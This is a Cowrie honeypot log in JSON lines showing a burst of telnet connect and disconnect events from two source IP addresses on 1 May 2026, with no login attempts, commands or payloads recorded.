{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41534,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d3297026d93","protocol":"telnet","message":"New connection: 208.115.200.90:41534 (10.17.0.5:23) [session: 5d3297026d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:23.315583Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41554,"dst_ip":"10.17.0.5","dst_port":23,"session":"90aea3067a06","protocol":"telnet","message":"New connection: 208.115.200.90:41554 (10.17.0.5:23) [session: 90aea3067a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:23.346011Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41638,"dst_ip":"10.17.0.5","dst_port":23,"session":"458776dbc4ac","protocol":"telnet","message":"New connection: 208.115.200.90:41638 (10.17.0.5:23) [session: 458776dbc4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:23.523681Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41236,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a78bc520096","protocol":"telnet","message":"New connection: 208.115.200.90:41236 (10.17.0.5:23) [session: 6a78bc520096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:23.594113Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41692,"dst_ip":"10.17.0.5","dst_port":23,"session":"8056f1947571","protocol":"telnet","message":"New connection: 208.115.200.90:41692 (10.17.0.5:23) [session: 8056f1947571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:23.640937Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41678,"dst_ip":"10.17.0.5","dst_port":23,"session":"629abecc6ce4","protocol":"telnet","message":"New connection: 208.115.200.90:41678 (10.17.0.5:23) [session: 629abecc6ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:23.646202Z"}
{"eventid":"cowrie.session.closed","duration":31.288146257400513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:23.654262Z","src_ip":"208.115.200.90","session":"4c85487344ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41280,"dst_ip":"10.17.0.5","dst_port":23,"session":"816edbe7918b","protocol":"telnet","message":"New connection: 208.115.200.90:41280 (10.17.0.5:23) [session: 816edbe7918b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:23.661420Z"}
{"eventid":"cowrie.session.closed","duration":31.661645650863647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:23.818142Z","src_ip":"208.115.219.122","session":"8c3c3e8feb45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.894970893859863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.002902Z","src_ip":"208.115.219.122","session":"8055d3760dbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.278292179107666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.041215Z","src_ip":"208.115.219.122","session":"eed8705aa9ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02161455154419,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.058976Z","src_ip":"208.115.219.122","session":"310752e816ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.939658880233765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.083083Z","src_ip":"208.115.219.122","session":"367e1f88949a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812856674194336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.115582Z","src_ip":"208.115.200.90","session":"5e4be78c9ab4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692702054977417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.174210Z","src_ip":"208.115.219.122","session":"3a980d2c7d49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41874,"dst_ip":"10.17.0.5","dst_port":23,"session":"50991914a654","protocol":"telnet","message":"New connection: 208.115.200.90:41874 (10.17.0.5:23) [session: 50991914a654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.199672Z"}
{"eventid":"cowrie.session.closed","duration":31.018004894256592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.208520Z","src_ip":"208.115.200.90","session":"a4125fa630ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38414,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd78fe578778","protocol":"telnet","message":"New connection: 208.115.219.122:38414 (10.17.0.5:23) [session: fd78fe578778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.257884Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38060,"dst_ip":"10.17.0.5","dst_port":23,"session":"199d1fdfda3e","protocol":"telnet","message":"New connection: 208.115.219.122:38060 (10.17.0.5:23) [session: 199d1fdfda3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.302810Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38482,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d0eecf9dd83","protocol":"telnet","message":"New connection: 208.115.219.122:38482 (10.17.0.5:23) [session: 7d0eecf9dd83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.313295Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38492,"dst_ip":"10.17.0.5","dst_port":23,"session":"cccd2b408270","protocol":"telnet","message":"New connection: 208.115.219.122:38492 (10.17.0.5:23) [session: cccd2b408270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.318218Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40492,"dst_ip":"10.17.0.5","dst_port":23,"session":"b863a729ace6","protocol":"telnet","message":"New connection: 208.115.200.90:40492 (10.17.0.5:23) [session: b863a729ace6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.362722Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43554,"dst_ip":"10.17.0.5","dst_port":23,"session":"c440c948e045","protocol":"telnet","message":"New connection: 208.115.200.90:43554 (10.17.0.5:23) [session: c440c948e045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.409624Z"}
{"eventid":"cowrie.session.closed","duration":31.164069652557373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.417249Z","src_ip":"208.115.200.90","session":"115c2290cae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43558,"dst_ip":"10.17.0.5","dst_port":23,"session":"547106ae3d2f","protocol":"telnet","message":"New connection: 208.115.200.90:43558 (10.17.0.5:23) [session: 547106ae3d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.452667Z"}
{"eventid":"cowrie.session.closed","duration":30.82110571861267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.459598Z","src_ip":"208.115.200.90","session":"76931a9ac32c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40702,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b3625c3d110","protocol":"telnet","message":"New connection: 208.115.200.90:40702 (10.17.0.5:23) [session: 8b3625c3d110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.487294Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43726,"dst_ip":"10.17.0.5","dst_port":23,"session":"337660691477","protocol":"telnet","message":"New connection: 208.115.200.90:43726 (10.17.0.5:23) [session: 337660691477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.562319Z"}
{"eventid":"cowrie.session.closed","duration":31.12353515625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.777984Z","src_ip":"208.115.200.90","session":"d6d249177f86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.342729091644287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:24.926438Z","src_ip":"208.115.219.122","session":"c2a27d3197d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44186,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d08bacd51a5","protocol":"telnet","message":"New connection: 208.115.200.90:44186 (10.17.0.5:23) [session: 1d08bacd51a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.024513Z"}
{"eventid":"cowrie.session.closed","duration":31.055183172225952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.039933Z","src_ip":"208.115.200.90","session":"7565227966ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44260,"dst_ip":"10.17.0.5","dst_port":23,"session":"51e5bce86e6f","protocol":"telnet","message":"New connection: 208.115.200.90:44260 (10.17.0.5:23) [session: 51e5bce86e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.096865Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44278,"dst_ip":"10.17.0.5","dst_port":23,"session":"67d275e60c3d","protocol":"telnet","message":"New connection: 208.115.200.90:44278 (10.17.0.5:23) [session: 67d275e60c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.185622Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55982,"dst_ip":"10.17.0.5","dst_port":23,"session":"8247c458613f","protocol":"telnet","message":"New connection: 208.115.219.122:55982 (10.17.0.5:23) [session: 8247c458613f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.194345Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56002,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad8d5e5f0184","protocol":"telnet","message":"New connection: 208.115.219.122:56002 (10.17.0.5:23) [session: ad8d5e5f0184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.202101Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44288,"dst_ip":"10.17.0.5","dst_port":23,"session":"203dda10e6be","protocol":"telnet","message":"New connection: 208.115.200.90:44288 (10.17.0.5:23) [session: 203dda10e6be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.224695Z"}
{"eventid":"cowrie.session.closed","duration":30.915780782699585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.258212Z","src_ip":"208.115.219.122","session":"5b9a76ce57bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44314,"dst_ip":"10.17.0.5","dst_port":23,"session":"391fa737b4b8","protocol":"telnet","message":"New connection: 208.115.200.90:44314 (10.17.0.5:23) [session: 391fa737b4b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.269408Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56066,"dst_ip":"10.17.0.5","dst_port":23,"session":"49f024def0ba","protocol":"telnet","message":"New connection: 208.115.219.122:56066 (10.17.0.5:23) [session: 49f024def0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.287263Z"}
{"eventid":"cowrie.session.closed","duration":31.091612815856934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.363206Z","src_ip":"208.115.200.90","session":"6a68be266ec6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44412,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc49eca53623","protocol":"telnet","message":"New connection: 208.115.200.90:44412 (10.17.0.5:23) [session: fc49eca53623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.416340Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44484,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f9cafc90d7c","protocol":"telnet","message":"New connection: 208.115.200.90:44484 (10.17.0.5:23) [session: 5f9cafc90d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.472927Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44538,"dst_ip":"10.17.0.5","dst_port":23,"session":"2884b82ebb58","protocol":"telnet","message":"New connection: 208.115.200.90:44538 (10.17.0.5:23) [session: 2884b82ebb58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.500558Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44620,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb65d1c9c12f","protocol":"telnet","message":"New connection: 208.115.200.90:44620 (10.17.0.5:23) [session: fb65d1c9c12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.587627Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56160,"dst_ip":"10.17.0.5","dst_port":23,"session":"addabe4c6ce7","protocol":"telnet","message":"New connection: 208.115.219.122:56160 (10.17.0.5:23) [session: addabe4c6ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.642449Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44840,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb8bc982ea57","protocol":"telnet","message":"New connection: 208.115.200.90:44840 (10.17.0.5:23) [session: cb8bc982ea57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.690356Z"}
{"eventid":"cowrie.session.closed","duration":31.301385164260864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.773651Z","src_ip":"208.115.219.122","session":"d9989f3e7c31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64690899848938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:25.964978Z","src_ip":"208.115.219.122","session":"846e69228331","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39004,"dst_ip":"10.17.0.5","dst_port":23,"session":"353173d09fa1","protocol":"telnet","message":"New connection: 208.115.219.122:39004 (10.17.0.5:23) [session: 353173d09fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.026922Z"}
{"eventid":"cowrie.session.closed","duration":30.556100606918335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.041507Z","src_ip":"208.115.200.90","session":"57045acea10a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56536,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a422525f3d2","protocol":"telnet","message":"New connection: 208.115.219.122:56536 (10.17.0.5:23) [session: 6a422525f3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.136192Z"}
{"eventid":"cowrie.session.closed","duration":30.97044348716736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.142927Z","src_ip":"208.115.200.90","session":"5accb4f921d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807372093200684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.213544Z","src_ip":"208.115.200.90","session":"cbe204f85de8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45340,"dst_ip":"10.17.0.5","dst_port":23,"session":"11dd37a7a5f9","protocol":"telnet","message":"New connection: 208.115.200.90:45340 (10.17.0.5:23) [session: 11dd37a7a5f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.234387Z"}
{"eventid":"cowrie.session.closed","duration":30.838045120239258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.290313Z","src_ip":"208.115.200.90","session":"ce1365381f17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45396,"dst_ip":"10.17.0.5","dst_port":23,"session":"48a6758358de","protocol":"telnet","message":"New connection: 208.115.200.90:45396 (10.17.0.5:23) [session: 48a6758358de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.320018Z"}
{"eventid":"cowrie.session.closed","duration":31.071631908416748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.330096Z","src_ip":"208.115.200.90","session":"ca385c08a61b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56744,"dst_ip":"10.17.0.5","dst_port":23,"session":"25e005c722df","protocol":"telnet","message":"New connection: 208.115.219.122:56744 (10.17.0.5:23) [session: 25e005c722df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.347345Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45682,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd97318622a3","protocol":"telnet","message":"New connection: 208.115.200.90:45682 (10.17.0.5:23) [session: cd97318622a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.476274Z"}
{"eventid":"cowrie.session.closed","duration":30.82576560974121,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.497295Z","src_ip":"208.115.200.90","session":"fb6785bf8c5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.585164308547974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.672874Z","src_ip":"208.115.219.122","session":"4df06455752e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56962,"dst_ip":"10.17.0.5","dst_port":23,"session":"39a30947a898","protocol":"telnet","message":"New connection: 208.115.219.122:56962 (10.17.0.5:23) [session: 39a30947a898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.734395Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56978,"dst_ip":"10.17.0.5","dst_port":23,"session":"6969020c1292","protocol":"telnet","message":"New connection: 208.115.219.122:56978 (10.17.0.5:23) [session: 6969020c1292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.748676Z"}
{"eventid":"cowrie.session.closed","duration":31.192076683044434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:26.770784Z","src_ip":"208.115.200.90","session":"d493db76344c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91238307952881,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.020852Z","src_ip":"208.115.219.122","session":"5c7db9d64fbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88930654525757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.028119Z","src_ip":"208.115.219.122","session":"c61f2a76fe46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57026,"dst_ip":"10.17.0.5","dst_port":23,"session":"afb24b6fe434","protocol":"telnet","message":"New connection: 208.115.219.122:57026 (10.17.0.5:23) [session: afb24b6fe434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.043324Z"}
{"eventid":"cowrie.session.closed","duration":30.328327178955078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.047018Z","src_ip":"208.115.219.122","session":"90a3801f1afe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727052927017212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.053932Z","src_ip":"208.115.200.90","session":"1ecba904635a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45272,"dst_ip":"10.17.0.5","dst_port":23,"session":"36b4923248ea","protocol":"telnet","message":"New connection: 208.115.200.90:45272 (10.17.0.5:23) [session: 36b4923248ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.115137Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57062,"dst_ip":"10.17.0.5","dst_port":23,"session":"000bca7fa843","protocol":"telnet","message":"New connection: 208.115.219.122:57062 (10.17.0.5:23) [session: 000bca7fa843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.161534Z"}
{"eventid":"cowrie.session.closed","duration":30.947383403778076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.169504Z","src_ip":"208.115.200.90","session":"2a708c29ce86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57070,"dst_ip":"10.17.0.5","dst_port":23,"session":"aab3916c47f1","protocol":"telnet","message":"New connection: 208.115.219.122:57070 (10.17.0.5:23) [session: aab3916c47f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.173731Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46298,"dst_ip":"10.17.0.5","dst_port":23,"session":"407d8a7ecc17","protocol":"telnet","message":"New connection: 208.115.200.90:46298 (10.17.0.5:23) [session: 407d8a7ecc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.217922Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57096,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c1d67496a5f","protocol":"telnet","message":"New connection: 208.115.219.122:57096 (10.17.0.5:23) [session: 2c1d67496a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.344065Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56764,"dst_ip":"10.17.0.5","dst_port":23,"session":"aff72451eac4","protocol":"telnet","message":"New connection: 208.115.219.122:56764 (10.17.0.5:23) [session: aff72451eac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.369365Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57114,"dst_ip":"10.17.0.5","dst_port":23,"session":"767ecc5ad906","protocol":"telnet","message":"New connection: 208.115.219.122:57114 (10.17.0.5:23) [session: 767ecc5ad906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.373152Z"}
{"eventid":"cowrie.session.closed","duration":30.931917667388916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.402000Z","src_ip":"208.115.200.90","session":"e1e821ff761e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46416,"dst_ip":"10.17.0.5","dst_port":23,"session":"26682c8110f0","protocol":"telnet","message":"New connection: 208.115.200.90:46416 (10.17.0.5:23) [session: 26682c8110f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.457119Z"}
